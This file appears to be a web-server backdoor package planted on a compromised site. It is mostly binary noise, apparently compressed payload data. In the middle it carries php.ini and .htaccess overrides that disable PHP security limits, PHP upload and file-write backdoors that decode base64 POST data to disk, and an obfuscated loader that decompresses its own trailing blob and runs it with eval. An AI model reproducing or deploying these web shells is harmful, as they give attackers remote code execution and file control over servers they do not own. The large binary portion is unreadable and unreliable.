ԏRǛ8(JYAlxl؃heyj[%緻T6SQC/	
m5r/D%J	r/5H	bȟ{X[2]1r4@3~Ԙ(F	)D/NǓj",n[YKL\sgvompwhqixeb;i,W q^V1%q
\oMWuHor"@߾I+mX3vu?sbx&x3&: Yx |6$*s)K;	Gw8%)3*3NJhD/{0wt\8 m׆:pR̗B}wNX8\ԛdr?ft%RS!Ra_,6śv8da:1Pn!H~uc},SI{d_LDʍvZ']8i,7ʀ1lԩ5oeńwoetO~lXݑ4bXp'ߐ?WJQʀvQkpsgvompwhqi18-Vӎ
TwrlmpagfserxY?C1^?řeAM8E^lh
7t;lbhh4Qf	oȐ@En8d|OǢY}z癹,QGw/wj&1
)fpmb&/Zji2XUʭVxO
,O["Wt& :XMFC I$y?
[95&n|
iŤ-
1fǶ =ۛ(eoYsgvompwhqiB3B٬庄Hwrlmpagfse[,jb(5Bg4wrlmpagfse++dܷ]:Jjw]U[ܳ4\|wrlmpagfse"\{VfgjH!w(J E*SwrlmpagfseVDxel4U /LB+, 8SXt,fSp.2C6G@3;a wrlmpagfsef+
JwYrr$''OT׎Jn8usgvompwhqiFV3+B
W4/
lE)}ǑmᢪQiAA)J6֚N	PaP{F'[qBd"R`	Owrlmpagfse3lfO]ـN)Mx	}jj5wrlmpagfse͞V:܆7VfD6ofr,}k[K0C9'%/ouXڡL!W]PK6\H\bGDP6 (ti8tjlN6*jp8
`c)60+xceIir{nV4e&0V%O│0QBHtNd
bᨸl(08+N3yqtmK̈́osgvompwhqi-RW!l!')yeNYl&cS YQ\wrlmpagfseKO*Zs"wrlmpagfsec0:Ym/sgvompwhqiL
h{96]',s1GVAz&}eu0ℒm2Y@ŏM51{W=PG2)pQpyh;,-HǈУnAL9usgvompwhqi y_RmUOږrt̷j
\]$+Z"d{-~Os3+fxHAu6r HFUZ~^-ITB
fF#[X zh973sgvompwhqiqEh~(K#߇FthwrlmpagfseGgC NcxK2ÚA8ޟ#Yӟ((rRMBrLm/48[%ƥw3x1VOS53L{͛YL
.c (In'r_'yםlS[pfPU#WRsyǆVdC қ-M7c~@Ouி=ٺB{bCLZשOK97N&FAa;nn^u41Yf" o~	+H #`;2˒yGաGkiyۈ٥Rj.O2-5D{(ϞOg|	C3˔tX޺o1nh^HI"aldMO 
yP};qjy-]n	az؟rntBPSST y?Ʃo'RcZT"AwrlmpagfseuKŬ 8JyKj$#:fW^@&*w/lNDunc+q""jVD2+/)(|lJ~4siP.ާfWsc馝#8Ttĳ0j&3I0cK©Jfx3RΈ& &qgJUu sgvompwhqi^3WG{œϠ6wrlmpagfse6n96kx#B)-.}e~3{sgvompwhqi.Xݓ-
_EܮabxD=hh~zdsgvompwhqi(x"wnK:,^ͩ:\Ǻv/;I M:WE8@b84ˇۅȺ`E݅#6| 1^Gh1Su3
E!b@kۈW3Ùig׳OsgvompwhqigV*ďUב,UG:[cT7`wrlmpagfsetDw!~[:gY"Ue$~!:yaEGէ)"oXXKSwrPD`*\t2WW'OyyB yy6؏!"X*;-@wrlmpagfseҰ[,sx`6QͿIQn{c1fdL	2
HcF .#:l\@1jQ!~1U6.p9f2y'ɬ%[ޯCɣ
-\M0%~8ԡLX8 n(pp#H/G,C߫;\ސ|ORu8cMx28O*rE8| (ĳwrlmpagfsezrJZMv8RՊ05^Fquz&nW WLG;*i 
{C?`dA5dN66wrlmpagfse9( iXA(wrlmpagfse֕VCϫ5#%`7m_T=KFٷ`:IItnt.A)3@.Cv,7d{0ud4TfQi
8^ =YAS).'()(9rdI STK+ֹX5bu"l'#Wū*.Yn5k!D0:¿Ayto`RY[0Y1:x4/I6oCsEXQsgvompwhqif5g91(C"Ί5)h*+h6}oUfiӶmbHEO9Kn+k?u׽ޘ_yMG&C'h/݀frPyӗNgC+Q=&}mڗ3-Ϥq9bOL)d]RqHm*-O2~6j	62*id=ar	c'=8jav0'0,(	+6Y*}bm %{0X
8'.kSGT#ix
]L~&!7WqM:{5AM]D$1"C&gi?5=	h`Zx;!I2O_x9@0Ep ڊPIb]l]]j_|b렮(OPdct	5GKtci?rq}#!ҙ24921@DvҴ=~LXmQ/ځX@n;264yc3?kRi#|dЭ2[e۫4.."ŻÕ8Ѥ/DBt[ۣpֹЃtzk):ۄbgy#gtFB}KyOQ͠צ̾h[R|?S\R\p:!01@;]AVflh+Xe8;kiC d5?Oy#@Nߒ3o
Vcw)Vsgvompwhqig@&+}p4:$/%
/Q$"S@iUۤ׊-f%Q뉞gl%Fr'źW-Ceur@Y{16vZNdoL:8c=qݛ+}zIo%YQw`h_?%%^!ix.	m/9,38_q1p_닸Nk|X}f)n6zQw-ZaXD^r_
رKew8ߤENȿm9^gahy8wrlmpagfsegaR`nÅw,J XH${7R8=VЊK3I6YCZ*:wrlmpagfseH{]EZY uN~_9Pt32qG302[]&3k3 Li?m78b	
xwrlmpagfseEޖdf@W92B?wrlmpagfse~AQ'kLE	"sgvompwhqiQUɜv)w*N2ѿOdols󜭙R{(߅Kx9$^plwrlmpagfse㉨oRHj.d7 #I(`j]^^n2G*ЕD"0+`.VX/^xjH!J:fB5ҙ#ݷKi1sgvompwhqi1t[

23lt+񗕆g8\C?UH[&tL`Q HA?I*ncꥀD=?؀n^$QS1[KFt4c]Q(WLJQ٪zqwrlmpagfseR]|mG=E
o1ll\ވ}5=,sgvompwhqi"fR+\rNH1wrlmpagfse"mrw
wӢB=OJ3/њi[cXC+JQR'sԝo/TL9)Ot5Wt [yխ
MYDz/IÛ;{\N|vX֗̿}:?y݈x_A5%϶|4*w2'1\nԀ7D7 gZd|/n@OsHwrlmpagfseR,e#n;L{hdRUyt
sG}삀^w{/bA1C2)ޙ[ĐDæ)[]u-wrlmpagfse](MoЂ_mm-ddhI gΑϊƯs
sgvompwhqi6V4M]c8W;9]
Prwrlmpagfseq
C@*7Zlڍr#e'-B ty3V}GAwrlmpagfseG(HpJ
bBۯ{/ǯDd*i0/P~VK.=%ϝy|#mq{`yuQ!Mʦkl޺; yt	qX%ڕOvV&=;6
^OR}烧k#&PX*Oa=A&S
XĹt13m$i1
1^v_Fݎw)@"F+Q/D/s+,Ҷ(qvs+pUn+=Kd]vo@
cnϻϤ\ԫNsqVl+GJb568|,uBjF'ʍ
׬onڣs;~/5EK{(ੰUO7"^ivrNLCOCM
YS6C{egC4O3z4'pJ\Jf"BTF8*Y!@9HAK7ԖsgvompwhqiUdK𮙠_bW\f$&bq:crtVp2q
GNIS9?4cU4v4Xz=F̘Zp1#Ѧ
foމQBmHqe	MÔ a,qp$%A~DN=@uv1mz4}\QSw5gINS.96JXWm_/A=p0
PBL	?;X;fa&\Y`kes)!V%?X9`YXU笴7.jzt,ZՄ}m"ڤw,?_DFCJ 1P-¨x*j}MMaΥz_sgvompwhqiTޔFC	aEwO I4}`!(gsgvompwhqi1l=Lֆ8TsoGsgvompwhqi"t5+ub:[{"ݫ)IY
gbٷMx5K'^pfh$o |Sx'-#XJ4ykU$X7C/R aV3r)-d?8Ն'?%5(g1%Fﰜϖ戝2Ws63n
y)=14ک^wrlmpagfse
I -oeW1d7Ƌa~(矺,kF$}!)DiKQx\D^&pўt0wrlmpagfse;?bY?T[C&sgvompwhqiz-M%X'|A'e}9ƫJG
$k"޸XRsRԃ_tMK@;498?dO̤C2y`
wrlmpagfse.܋uܪ8分8aG
!٩QWKMS(-JE{ĬIZԲ([SΏ!@uMˡQӫiK&{x«PxXV91TW!swrlmpagfse
b4qڑ`W}xwrlmpagfse|p-mkF5Ԛ6VcZ%jp6fQ8漹" r$.GB'QAlo_ 4/5U$dWQ(,Rܙ!bi^sgvompwhqizVkXtߓr7Q,	GEUPK[I)C'WON.٭l
Cq-osgvompwhqiX`A˷QJ#@Чƭq+iOaE/hr&Tw9jlfmCYssJ%j(sgvompwhqi1^wL4rՉ2?G*YA'ԨH1@aF@ۀ
(|T4xqt&_l]BJF`/x/_GxPQ;xxoeY-
QF
`!BM]ȂuIQ+nUY6$NKGRf'H7
,qlf
oт|1낑*`@\\̓6b=%;/(M\lMiywrlmpagfse"E\C7aewrlmpagfse?}Cɗ]L#*=ݬL*,;H^.;Ƴ'3|N`sgvompwhqiVMA-zנ͒Jku[sgvompwhqi
V/We_ ɗԹqCO:s)t=jJHfhDFB 3;[2юdN/?CnBz,awsgvompwhqiU܅+*ŰKw9jjwkzutU!B"/`[NӬŸvy= -,瀓5\2Vy~H5L*wrlmpagfse	@ԻG7'=fBxۖs܆lΪ 0f5aowvJŨM|9orwZf[z=Ђq=:ǕZntcԃS3N*Ǜ=H;I!@Ȅ﹊WJHdwrlmpagfse6n6kǓ&ΔA:h_s?yqsgvompwhqiO[ql%UoO[zw̐r51sMri8E\h:4\ ^0yky$giVHW@s^[}`xhy{?wrlmpagfse)9mówKWZfepsk|k'eqq4ydRiwnE! S7.L!/-m-h7.k-B-j~ _gPj{)oAvwrlmpagfseLvӸ4XVʙcSX[ώp..CsG7!'^?&T̡71$s@6_oDC٘bL7J
pkq9qx%ah JbnClgsgvompwhqiV"ANS3$"@؀Md8̓nc\2aCuhaE&{S$^ol_4C[xމ^s?jW:9r+7snm/e1uuVGE77G4V]8S_k;WGwrlmpagfseiX+N#Gp֯)U& B;\ZA)KXaXtPjaa,yܽ5E}DSc]cɧ2oKZTSnUBKAࣝȣ{gzfSb_T˺dx{Dӗ!+
L
4}̻]oie~v,#=b􉃼	S%o_
jN?v415UT0zנ.L5|eLT
ˁHG92Awe磽魎Ѫ(. FpGƌk·zD5ZL"Yz#ZDq|v96Ye!1mYNhmyTUIk%jUsgvompwhqi`Ц{NGoHRA!CKoJwrlmpagfseI29'@b׸ \!&ٌ/+=(;6pk*'}ȧ&9W()lɔqa1d߳Up\ㄐu_1KJ[ۿBݖA,.]_$/X+Ѧ`/SxF{ҟd'T{F##o({c-s
xN^E$˯C=GYa
s[oLL06\KVOϼԆf\8f3p Pk*dV@q$R}Kp] `"~No9۷ G_F,fe*.k~cȜ퉫7(FQmHf,i48R43+_n|QشT~jbޣu	zB·PR~e:*BdKz6߾	w%_,rJؗCH-.s`2ʼz)eoyWccr,e+Apl6Ôѓ٣־P-F(^[~Mdwrlmpagfse(+exHm#ӊ6OMenH3c$ht23 7ak9+$Xd+bJ4"zǂ	!!)H6N;ָʳ,kKmP?7ND|tf~붲H؎;BɯVֆ7:%`b-җ]rTؿ.ʖ߯5qnv0Y޺sU~"ŅxۚeڹiiO!`/7wR%d+kp@/hy{&6kݣhEg`rO!|[տ4A3拕V6]M_/M{cdn6sgvompwhqiuW
622 |=I.6\@ۼBa[IEzdٖ[BQ
/n2yU[r`D!VūW
բOrj@O?pɅsgvompwhqiIӂV`%sl{#kkOvm~ڛu7SՑ`$94woZ}]=+=S?{)|iؘ[zʤ /vj*UvmQb{L$4W"wrlmpagfsei|]_[Tb)]0N]wrlmpagfseE2m8N?vN;v
.[aX3 8K=	r65}3	]특(|7vwrlmpagfseZ_{f5cT7Q	V8U'gVLp?k~\r`[*3۸
38VĚܘBqp~xGVwKz+Gc~u4$ 00@w7:Bem"4PMd]7[x픽lNIez̟mLDq}(V܌foUՍeBg)wrlmpagfseisI}
j?"-X@ʪsG/0@쯟2W& 8~ICW7f.@6]/GAPqV2FQSk:ei틪&ϕ8"{y A^' i
4zxhr_g=(z!~-SH )wrlmpagfseߝY##u1CxR|763	ocV]X܍9"q)jF;RN\\$推+~~92tՂ/s[,ge%J	Wg"6āme1wSboχk/yPKzW]
5*	0ګ:sgvompwhqiKNγ7IE}"aZijkr$a{};+vތDsllDWf_-VH
wrlmpagfsesgvompwhqi9#D#^tKA"4fKÚt{3yPh^lؒ!W[2Cћ]
`%eBkKI6"VIK2|3&0g
0B]y;AOA,p_sgvompwhqiMJCUGXxJ'N8֎ŶH.V m}RStTBX!cy%3oc(I8,y UkbKG
kN_),R$tefwrlmpagfseJ$lI% ƏhR˷E|4fswrlmpagfse_}RgN||Rb#cBr}  ǎϩ_mL#U.{GtQ0YpHaRcc|XR(_^SPŉ:Bg9`:Ĉ4s_[$[YЙL+F{R2=ɇPuNaؤxCyڣ7LT$sI auKY[E-8$aWL:D358e=+Oͩ6Sq۸Q̺jP:S֦вHCn/v+_$~GLS
AI}+HR`BN;߉8-75Ae9x*=W*Yեtusa?&1Rp`K_2
WE!cU޴A}LT?u%, ]MٰlU^zq-*g,/Y)^?0q=wrlmpagfsec]R5g}wrlmpagfse"-a]5+ :LwERALɓ
wrlmpagfseB:$)a:5ă4UAT(_eÔ[9d&Y\o^gS}A	c5h%ABlRccil:byibW=\`84p.ʕ#wrlmpagfseǸL]y_aSӒwrlmpagfse9q[~~^~!l6֌g1oF`Ƶ#W%Jsgvompwhqi2fa!A!.*["`aa|/)jKA]"Ehwrlmpagfse^IwrlmpagfsehMpRsgvompwhqi)xZV40ePɾM2;b{"2wrlmpagfse
,֞wrlmpagfseنwrlmpagfsebbU^U߄,n~m܉|Fyuo˘X3;cszs ͵ѹ2*LcUi^|~ʹ:ΤrdiL{xvRYnsgvompwhqisd)/J/$qu%R&`b&z45|A"Ud/q
Hz)%
mSx[Lu"i!٨`קOcu8O&Gyb@Ek?V6I.|j/ VmQ*tpԕM^_p;Bh: V_J[2`#6+$qG]ƙ&U,.~sgvompwhqi%o	❸/H!ٷY͇:]jf
Rc_`?nt(cm{&rn:dJQq=5b1[Z_E߄W  sgvompwhqi-sMUY0"
[̬=PSsV4 A9ߴk+t@\N2x)7$%9g-QǛ(*wrlmpagfseDhko-3N!9!4{4sgvompwhqi*Lɝ#CvcHz]A$bwrlmpagfsem~d|k5QsVD?;{|Nv#y4Ɛt4A]V1'?_5safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base'.'64'.'_d'.'eco'.'de'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$ZMru='s'.'ubst'.'r';$Zqze='file_g'.'et'.'_conten'.'ts';$Njmi='s'.'tr'.'_repla'.'ce';$qGIH='gzuncompre'.'ss';$TqPt='exi'.'t';eval($qGIH($Njmi('prhjqseklb','>',$Njmi('ronvepbyiu','<',$ZMru($Zqze( __FILE__ ),-171984)))));$TqPt(0);
?>
xTGoP^Jt0ă9"'
\כzo`R"k$s=?n߿q{@?c`6pprhjqseklb=#/}OI։SR=/i)Xkۿ7'e ?$)ORy44D$(8XwӸlͯ=v$s	psHwv (U|#䦿SǪe4u=#ƄT5"E4Ne,V\6 v"~)Ç{yUtD	ADƭG2^@UWbA P\F [;*SAJ )
VAd)ZGl
 4^SbFY Vkp 
hkʢqdA8{u YTF;@|x;S:۠CBvJ!prhjqseklbx|!prhjqseklb6O]A
Maˁ=lVڴ (Xځ@'9In%+{p=	hl1o}v ZA4@ۀ_\J|"8aÀw41 w?R*|َrXq=@Xprhjqseklb	 9DZ`prhjqseklb	d4 ~wб2
%6 RYDew8^D
6pH	U;7ZZ|ǙGLׂt߯
e2 YHH pnB4OUI2b=KZ]XVfO6bE}JZXIprhjqseklb YOezn8cP$UHQ
SJ	?D@`WA3Yx,65
(]DH'dWjj~	*k9R:Z!'~e۵)vronvepbyiu@Y  |7c[1 M0`a|[x峢^ 
&d,#c*[}l0PU_R3'prhjqseklba! 5ronvepbyiuy
8@2jgã&RnUBsYZe;jϙÑ~(1lLUIܮZ9f,t	ԝP*x4}2]&Y``*Ba4/W./D#ΑGMmfeMD\+2R狴\j\XGMS_Q=`.v"ţF^(prhjqseklb
i$u,X
Àp﷫ɀ
%'ųmA:V((T1'RZ=#\X/.0qQt5nvz'E#weڔZ@^wlDqZ2ǈI[|pojɌ+`bEk-q_E7:6JӽTŗ޴^ߦ1P+{,}̻j#E$Qif'\z\h,k(ronvepbyiu4. jm@wwxa/{d
TOBjUL$YJgX1{7#d}`i"JǮ
7}1jb$dlsl`_x*Ƹ҆+|OC .R4 8MA~,oFןw4[YE' qp귐]K3f%D\?/?2q=UΒHN~7?B|*_ICpZ{X*wprhjqseklbjTa)=4 L[ Fǯ'u; ;2
8Ve$^6!Zm8K8ggm,AAYþ!|v+7lwkPS]00R_9gٌYoR(F8qdT:Lw;Cb-='T!Kvi3r"u]:
[:QVi LJيŐuRFw8On߶Y~V"Iq6prhjqseklb prhjqseklbeȪiiIԱ'[*t_w|su*Ѳ[p{}|u;9~\_Xxw\^,4]{~Suv{IuK-v[j/C%R6}+4GQZ	dJ
Ow3)7X7#@MpHWc7PpQ?jK{;U]mo"F.6)nM*bS1o6k/O{-j=lCSZ'be{rtԙo΃#F`b.GMݜw	Lqʚ}UzZprhjqseklbk%MhN;io˴FZoٗ/H ۊlxH-k?ÞG$hiz=w?	Itronvepbyiuv3oW#lOl#!1c}/k87ߎ=a|ݯTqRq_ Mb4&lRٲsuLH(PޛecHo8WR)"=7
5iOUHɽCY
KnGL҉rr7c_] ^z	݉haz^x;(?6MjᑃjJHVf~7Ey~
q8~Zx(XyfԐXaz@ՓӉ}E]LgǌNMIwG.l3F ,YPi@1SH3PInqb[c~h`n
]prhjqseklbЙ~v*k6bjEz[xoGz7Npb(iu]Cn!h.h?y 튌pJtXL5N_@`^jʩB&kӼ2'l,	yׁ!J,t_ڏF΀x:&%U򮈒JYȺjՇvZuJoKW9;'؃ronvepbyiu5;UG
$;@*}ronvepbyiuS)7#^l;\Zdronvepbyiux%ڪGx- 4 )-94(*'gYDuB$X.F[J v:2H3$l6?W j^9LU8
۔s2n^D+UG7
]D[UWQW~CĿi54F}N6N
nٸS UWKau{1
{^9BpWA;B:C#
}=tV0»#3I)M#ВHF"+=P_iBIyΚ10Sv`&L[ۊir\5]@irE:$}Gh`avk6s$uSuprhjqseklb;I*W8
H80tST u*0q!&'dN

䞒na
4P݆Xq2M0Cm0Zg͕d:prhjqseklbw*hNY
@Zmnك8
(:/C_``.*5{*3qB P[)Ů0#vI?IIBT9-#,݆h$FJɄS(8lprhjqseklbvm79u1BZynmPwWkA0so!(Ꞇfɼ)%RG1#s5Nt&Yn}|P/;DhDEm'39p	rB}،hDiȚ\9߼{2Y,]'8nIuj7	q6JjmprhjqseklbCV^sHoAٽprhjqseklbiNMLP5[˨l]#..Yq[K?q+st^`376M`+Zu!{.ronvepbyiu[^QzMXRmR+&Ǧ1F\]#/6z'\`q[WcKnU,1fYd·1;t|&G͸U[fpZfD9Ш*V2Za-IhPE8V%&渗!QHװ=_ƀu :3eo/.#L)V'BNoHp}R,KDe1	H(
GPGԚIe@ ׇRPyR|%hZYprhjqseklb
sh18_\0/6mP~;+"ѢbW̪qnQ-p)a揹4'ٹqr.a`bb^
Nw 7K	Ƽ(lǐ/HxA@TYh]
prhjqseklb֛eD}prhjqseklbQ64n|D-fm[!^-0Q4 +prhjqseklbronvepbyiug[
HA棣_9|wJ%zl!JYUe0*YFL\,WͰC"	Dr-YV{ڤ|`YUxOD6dRKĺuP^ۗ@@ǧk/tJR~=	jea(82,=|-Y6[~TOY	g㱁~ԬB3
6]|:Ii,@=璎iBXJ(3"@	#D%kЊ{lUoΣ| Sa
Z_ronvepbyiuo* !@ǗL{G=QLx\+J5y ,ms G]^tYT@QuAx2N+1JE'G&QbmOh끿be[kRS']xv	8s#I1U~A*^8ξ?	+'	Z#phوlUL3Vvg^ ;[b(kqF1-C=8⠕XDXprhjqseklbHwBRיƱZElnThlюf:OXϩ-(vr"ꕯV3cJ-prhjqseklb" g}QiOWiHTG'awԁ[D1h,Lb㡀FC.`69#y3Jy4cV3Ͽ.QXVٗ(bL
ڞ*JMeHkU|ڟIBgn1|uC^Q0UXp	&3xϨ[KaQ0~prhjqseklby
oa=d)ֹD p'ronvepbyiuuD+gYȫksgZK$n:!!Hz*,[m-M
wyʂVYzUSIYALx%^dsLj2L]/ĠT$-fyg|=EPid/˳i˃"ʕ͐E/~h_c2pJhZԂp#prhjqseklbFrzRdp7l3wyb$ JLWxyˬ*pNM aHBه}خL[X;]?ronvepbyiuFT'cbprhjqseklbjp0v)U`&Rte_MHT$&5g"o.pronvepbyiuѧ~9P
|?[K5
9ߠLb}{۔M|4dP_߽ȍJ33hHXY&}&,F70\dpf0bQ[&Xk?|ԗA#1 |%EDI]mƱ76kJԔlʤ9g;9)ctRkz.Sӈ
ғ3n
B\'t[p8rv&5IbV}r%^M #^b].N\ۡ;-c8
ˎjZ﫜E 7HronvepbyiuVƈN^䵴XFI8[Lgo6Fprhjqseklbqw9tYT)u&5f#m\!ŷ=[^VI
bj6~ײE d)
 zsԫYnJGWlxnB4q!D.5uJJ\v-R9"z[)Yf'ܒBP	M=[zronvepbyiu;
yronvepbyiuB56\էi҄cy:-LB{ʔ֋g+BT
7pN+z	T+`58i	O`WZkFΪ'ȱ~۵x|NB%RS܃01'x |&&;2'`te('/xǎ%Z)8cihw-Eޱ8nronvepbyiuZS~hto$]M`eU8:7ĎZ6Pd ֛Qq?co	5rU
gp]pQ{[pҧϕ]0r8'UϭVL8V-3"E0)2)뼡Hўzd`?xY6ubmGi.GW
&4A~cR|^zpH̰(T=Os+üh@;7~;ףP:.ronvepbyiub}[
栤o5 CH')yronvepbyiucкAJ?`TuъS(FWï.iZ3iQ+ s7prhjqseklbHZr"lrGganHy$rBPTk vJ'Uۧ q/îL~4-XRdȠCЩXwU.:Efl/?\ #[bl`ތ/
I QGi/Ƕ#^ŷJY{I1}w8g$kSI|sx"Fia\7OK@оX,Q|^d~6
j=A|놼y_}Nv@U1İyjGv,\\y\H@sE܎lŶCgb9mr
'haۮ_Wl
Yp1?T%"5\^d@נZa*/T1ihњa~H5Kxm25zU=~U4Hưˊ2ͩ(r;"qK29θW7)$PMv$S6QF#eaӬijronvepbyiu݇W3qĲ^	tx'9?DP)5A=eMd,vn綯QaGoҏj^;9KPhdlS J$Ɛ!ZwlQag|3J%ߒ\\ Tk4ronvepbyiu@cS;؝;o`)ktA&:kgR};vТ$t*'!"OgeprhjqseklbE/ronvepbyiuR03hUXk7_gV[E
4%?xL:

GI9b
{D\9֡pron;Dzprhjqseklb"52f? ` qZJھdv]4Hڔ@pr/XGc|qY8o0cNæfFE*O/I^gstBPN9&0m$Vj=襎7nMћ5/R.5dronvepbyiu!TkC1yAIX:ronvepbyiu|)d+Mx¬]}PO@ronvepbyiuP0UY9 R:udmronvepbyiumWLe0uPoۅQfQC?r1Ֆ-`MmD!q
';Gprhjqseklb
IL)#qAtK m)nl@!Sܹۄaw3M$vprhjqseklbɣ ~b{CM.,*? B~#c:[݄۶.%cOUronvepbyiuؿålk [֚;0c9c 
0l!e\Q9
DS_9Ze*Ԇ,T}ronvepbyiuzTҧBC@ߩ݁۝Ur0h=@yM8Hu/0kxڔ@2Z~6*Sz  ʎ#m#
,V(nX;|e6Mؘprhjqseklb`+;׵'-Ab
rjG4Ǹ
Õ:WDW~̒*}xǻRprhjqseklbOcVjj弃b 9{prhjqseklb`]kr+A
prhjqseklb0~7s֤4\G!c)i]\RY_E羖ml ގueNMx슓'ronvepbyiuB|zʀV}45d䪅apqBa]՝Klhxo}k~'8MѾ!Q!
f1b"O	,N	ronvepbyiu'k2+2?jb#&/R aG
Z;n)s
VTSitUk/(9Q!	H. =z@prhjqseklb+Xڢj`ҳbQz&=.;y7\!pjRlpv.JQ;VŌ:A`:M"wzX}W&*(F*ronvepbyiu&prhjqseklb 4˷;(Nցg*c^d1Y\veo#Q9Ƅ=5 wrs4̇9TIH
x$ɒE|Hl	_,cʅdϟ1ax$sБ.i:հQ햏+kgf"-BUtϧO/MAqd΁~T+X/@(1$*_`[|dSph
NnyIS]*;DMY0gJHX~#
c?sPJL
mi6Z
J۲ۼT1ox.}NH1/gh-c~Jgr
T$YUI}*hZv~{C_p~
֌DU/dW6t߆ڿ"0E,\u U[ꝏLSh~1q,
HU;uGʌI6ps	p__	lg+r~Gs:oOMXv(`g䰌 p=xEؼXKt^#_xlronvepbyiuO R*=-Xn4ronvepbyiuwEPPCêʇ4('~	]boh˹{bŨW@;^i-}G@1q*vXn@,i
R_u+&S^iP,A\DKe̛Kg0l-gc w#9LA
`xszol^r+xwJhm ;PV5''tEٵprhjqseklbHG#0E(&	yms)RBaU__Sb+uUK{`&2|zӱO72؟tM/! B=ronvepbyiuronvepbyiuӎKtoV#jeBYm}a;cprhjqseklbPqncm#rK~//sx 9(x)v&p74@^^WJdmB-kprhjqseklb
-gC}ɺ{"cronvepbyiu	mr|!rȸ^GcΑ'M"ż;2tH}/OGCe!ʗwb%2\FK!4u]aM	ga*t] @=0;B 9^E-C+do5'VȤ$@623wbCK^4M![Q] )΃%&eu"aOronvepbyiu"Nח\T󕔛ܷprhjqseklb1|)j
Eger?ð4)rdˠo]=41yprhjqseklbH͵g]jo3G
vC9$tDcĕVj=
,ʡC!F%[$"D?X9~Q,?u+!=ronvepbyiun K}95 4uj%,S;	Ics+,0z$~IOaBѿ._TPDUuR
	SICyG-d$mT*梬K环ThǶ']@?nբVU4ӑˠj	oCDcY!󭂂	NV4kA5FkJsCk~.v֨1~=.#a42O{,N'|h
w̿K\nNVOCZ_Y|YrlnޕJi-Ug-] WZk#NKw9MiܡGՆ#h+%Vrl)Y~MmO%
2P1S^Lw㯷%[:+3^?׿zFz7S䘯b_O[FD][tD8Ag'G	u+X恪^In7f5ʌ5Rfw!B=Yɉn3i4\F҈sprhjqseklbe3XhՕ;RI-wSFprhjqseklb\Hprhjqseklb	Md#UCU)Pä_ twMx\?*s1	]a3RLԗ/"(mζ^O_`+;a«8% ?Z81m\9ٓ8csd\EAi?Ȳjvprhjqseklb¹]F]AOry܍c+@]N^Ԃronvepbyiu$T}Yc t;߶he-fJ.֒~+ronvepbyiupj	mVG@8TXVM/ZSw`D h4f+prhjqseklb/73-m7y"2\ 46nQo7rQ=UI|+
s#D	x|NEӌTG=GzCxFҕQ"2sW^m8E8Wy웯doSj&^E&ˇș+X"Z:㧶lrq u%SaD8ؽtRcFprhjqseklb	سכK!NKL?/ZL|7D$rxs*4	3YiFyŝt'?t9_u;0c32'::N#ڎZEyUtlhronvepbyiu(G.j"Lep9
FxIח^_Ƈ=Kcii[prhjqseklb=}0&*hiAULsvk^KJENg@քW~/('jWѓŁ7gȋP7prhjqseklbN",/SR;T۹~,bă)MS3ɭ}5Q*Upb?ȉOOBz}v(Gon \@[iX\˽g3,Tt;ysCO͢V !ȋQ/?fprhjqseklb%0HӤ"[$&cM9/scst`ronvepbyiu8a18|ZR\K{)[Jy%)aLg!Q܆o?GiMy[9i׬"x!WoYߡ@ڕTo$r6l=%ȟ"=,yk9rV{+7
Et'VaMGw)RheD6uO!.,עN',C%p[C L-3adϓ|8;+":l]/=/#wrשkDGHyprhjqseklb|a6VJRgi&XTЋ(̀CJ-;'D1f
y4п7N ,prhjqseklb#QQaY5OCVoς,PnkҼprhjqseklb߇Uڭ8AzD%wM灭ٿkzφd?S4`?ǞYa~p.J99qxP :ߑ4,I0%, vhb[YS:u-,)prhjqseklb?,9lh)86FX~$fSJ;*K䛙(JwSlA|gn:AO!L#hi=T	؁~zxs4qffwQ|헟1Zv3 B\c
ronvepbyiuBg+\,prhjqseklbfۯNronvepbyiuûOUY+ronvepbyiuH}QT؇V$cմl;W:]/V=O9\$BFr|\"5Leu{v1;ufJxVƟ7UPTVZDItO80.tTOoRFu7-4vpJ$a~x2Y05IBN8Xт͝kl.$dxHronvepbyiu:bANi()5g{=6З[LpK"]5
prhjqseklb@I#{Z໯LϠ
{xVar!'j\dQ#	o+P.}/֓G\cږ~ObIIn'acg(elt_q!mtNX8uNbjyřfx3/1prhjqseklb6. 
gk-nz _W#FѱyronvepbyiuLbÍØIKJ`odYYronvepbyiu/Uښ kbD!(e(TT~I3S2@ƅ6.r2I=nNdK;_]dE~LuNn3Zg hrhTm=F|+a$vQJY8K^5?prhjqseklbH7%}C/|p=^8TʺecVY}%D#Bv,t0{Z92prhjqseklbp
[*ژ\Y?x65e~O'u@i@*[eT3le#kϰC˩c!s/}ajF/.'=dmtuUronvepbyiuXڗ;j`IC8$p&X+DHdD?q];wU׎h^Q\?
	Z)FDeuYY
@M`XK %c&HuE/^ HY$t|y3AGL
hWY$ لn&Li鐐-XoyUhyƙr̞S3UjShEќT㟁3';]vTFB,prhjqseklbZPF_Ծh#]Z!TuMl̃1#mʿuC=?Ioؚ LޑDzӔz 6'5Fz7dZj	$'^6zGXQcns1Img*}Kcs='#s7(.4ܓFL,c]R7㡮!޶L16TY@zGCr;S6sQ{Yo9RֵKB*QnlLˮ⢱X7!Z(D;f2Kb(L@U!T8A%n!!3`~v%ronvepbyiu	'.BronvepbyiuJ3Qx4E՜)K.;9TD[~|&~'Iylqi6p[G,66L0#7MyxwKw'Ȍ'pO5F~=52`tzYyq$"p3+yX/"ra%N;#²g"RRo
